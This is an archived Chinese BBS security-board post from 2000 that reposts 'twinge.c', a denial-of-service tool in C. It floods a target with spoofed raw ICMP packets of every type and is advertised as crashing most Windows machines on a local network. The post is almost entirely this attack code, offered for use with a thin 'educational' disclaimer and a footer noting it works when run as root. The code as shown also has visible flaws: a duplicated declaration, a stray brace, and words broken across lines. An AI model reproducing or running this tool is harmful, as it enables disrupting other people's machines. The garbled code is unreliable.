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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="326.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security WWW-POST <br>
标 题: twinge.c <br>
发信站: 武汉白云黄鹤站 (Tue Feb 15 16:01:28 2000) , 站内信件 <br>
标题：crash windows boxes on your local network (twinge.c) <br>
Hi Everyone. <br>
I've had this sitting on my hard drive for awhile but it still works, so I f <br>
igur <br>
ed it was time to see this get fixed. Crashes almost any windows box on your <br>
loc <br>
al network. Compiles on Linux. If you can't figure it out you shouldn't be u <br>
sing <br>
it anyways. =) <br>
-sinkhole <br>
-- BEGIN twinge.c -- <br>
/* <br>
twinge.c - by sinkhole@dos.org [6/99] <br>
this cycle through all the possible icmp types and subtypes and <br>
send to target host, 1 cycle == 1 run thru all of em <br>
Crashes almost all Windows boxes over a LAN. <br>
DISCLAIMER: <br>
This is a PoC (Proof Of Concept) program for educational purposes <br>
only. Using this program on public networks where other people <br>
are affected by your actions is _HIGHLY ILLEGAL_ and is not what <br>
this is made for. <br>
for without help from ryan this wouldnt have been coded. =) <br>
*/ <br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <string.h> <br>
#include <sys/types.h> <br>
#include <sys/time.h> <br>
#include <sys/socket.h> <br>
#include <netdb.h> <br>
#include <netinet/in.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/ip_icmp.h> <br>
long counter=1; <br>
void usage(const char *progname, const char *user) { <br>
fprintf(stderr, "twinge.c by sinkhole@dos.org - licensed for use by %s\n" <br>
, us <br>
er); <br>
fprintf(stderr, "This is a PoC (Proof of Concept) program for educational <br>
use <br>
s.\n"); <br>
fprintf(stderr, "usage: %s <dest> <cycles [0 == continuous]>\n", progname <br>
); <br>
} <br>
int resolver(const char *name, unsigned int port, struct sockaddr_in *addr ) <br>
{ <br>
struct hostent *host; <br>
memset(addr,0,sizeof(struct sockaddr_in)); <br>
addr->sin_family = AF_INET; <br>
addr->sin_addr.s_addr = inet_addr(name); <br>
if (addr->sin_addr.s_addr == -1) { <br>
if (( host = gethostbyname(name) ) == NULL ) { <br>
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name); <br>
return(-1); <br>
} <br>
addr->sin_family = host->h_addrtype; <br>
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); <br>
} <br>
addr->sin_port = htons(port); <br>
return(0); <br>
} <br>
unsigned short in_cksum(addr, len) /* normal checksum */ <br>
u_short *addr; <br>
int len; <br>
int len; <br>
{ <br>
register int nleft = len; <br>
register u_short *w = addr; <br>
register int sum = 0; <br>
u_short answer = 0; <br>
while (nleft > 1) { <br>
sum += *w++; <br>
nleft -= 2; <br>
} <br>
if (nleft == 1) { <br>
*(u_char *)(&answer) = *(u_char *)w; <br>
sum += answer; <br>
} <br>
sum = (sum >> 16) + (sum & 0xffff); <br>
sum += (sum >> 16); <br>
answer = ~sum; <br>
return(answer); <br>
} <br>
int send_packet(int socket, <br>
unsigned long spoof_addr, <br>
struct sockaddr_in *dest_addr, long seq, int ty, int code) { <br>
<br>
<br>
unsigned char *packet; <br>
struct iphdr *ip; <br>
struct icmphdr *icmp; <br>
int rc; <br>
#ifdef DEBUG <br>
printf("type: %d code: %d\n", ty, code); <br>
#endif <br>
srandom((getpid()+time(NULL)+seq)); <br>
packet = (unsigned char *)malloc(sizeof(struct iphdr) + <br>
sizeof(struct icmphdr) + 8); <br>
ip = (struct iphdr *)packet; <br>
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); <br>
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); <br>
ip->ihl = 5; <br>
ip->version = 4; <br>
ip->id = htons(random()*(seq*getpid()*3)); <br>
ip->frag_off = 0; <br>
ip->tot_len = strlen(packet); <br>
ip->ttl = 255; <br>
ip->protocol = IPPROTO_ICMP; <br>
ip->saddr = random()+ty+getpid(); <br>
ip->daddr = dest_addr->sin_addr.s_addr; <br>
ip->check = in_cksum(ip, sizeof(struct iphdr)); <br>
icmp->type = ty; <br>
icmp->code = code; <br>
/* <br>
3(unreach): cycle 0-9 <br>
5(redirect): cycle 0-3 <br>
11(time_exceed): cycle 0-1 <br>
*/ <br>
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1); <br>
if (sendto(socket, <br>
packet, <br>
sizeof(struct iphdr) + <br>
sizeof(struct icmphdr) + 1,0, <br>
(struct sockaddr *)dest_addr, <br>
sizeof(struct sockaddr)) == -1) { <br>
perror("sendto"); <br>
exit(0); <br>
} <br>
free(packet); <br>
return(0); <br>
} <br>
int main(int argc, char *argv[]) { <br>
struct sockaddr_in dest_addr; <br>
unsigned int i, x, s, sock; <br>
unsigned long src_addr; <br>
char owner[10]; <br>
strcpy(owner, "t"); <br>
strcat(owner, "h"); <br>
strcat(owner, "e"); <br>
strcat(owner, " "); <br>
strcat(owner, "p"); <br>
strcat(owner, "u"); <br>
strcat(owner, "b"); <br>
strcat(owner, "l"); <br>
strcat(owner, "i"); <br>
strcat(owner, "c"); <br>
if(argc < 2) { <br>
usage(argv[0], owner); <br>
exit(0); <br>
} <br>
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { <br>
fprintf(stderr,"ERROR: Opening raw socket. (need UID 0)\n"); <br>
return(-1); <br>
} <br>
} <br>
if (resolver(argv[1],0,&dest_addr) == -1) { <br>
fprintf(stderr, "Cannot resolve destination\n"); <br>
exit(0); <br>
} <br>
src_addr = dest_addr.sin_addr.s_addr; <br>
for (s = 0;s <= atoi(argv[2]) || (atoi(argv[2]) == 0);s++) { <br>
for (i = 0;i < 18;i++) { <br>
switch(i) { <br>
case 3: <br>
/* cycle 0-9 */ <br>
for (x=0; x<=9; ++x) send_packet(sock, src_addr, &dest_addr, cou <br>
nter <br>
, i, x); <br>
break; <br>
case 5: <br>
/* cycle 0-3 */ <br>
for (x=0; x<=3; ++x) send_packet(sock, src_addr, &dest_addr, cou <br>
nter <br>
, i, x); <br>
break; <br>
case 11: <br>
/* cycle 0-1 */ <br>
for(x=0;x<=1;++x) send_packet(sock, src_addr, &dest_addr, counte <br>
r, i <br>
, x); <br>
break; <br>
default: <br>
/* just use 0 =) */ <br>
send_packet(sock, src_addr, &dest_addr, counter, i, 0); <br>
} <br>
++counter; <br>
} <br>
} <br>
} <br>
-- END twinge.c -- <br>
有效，注意用root身份运行 <br>
-- <br>
</small><hr>
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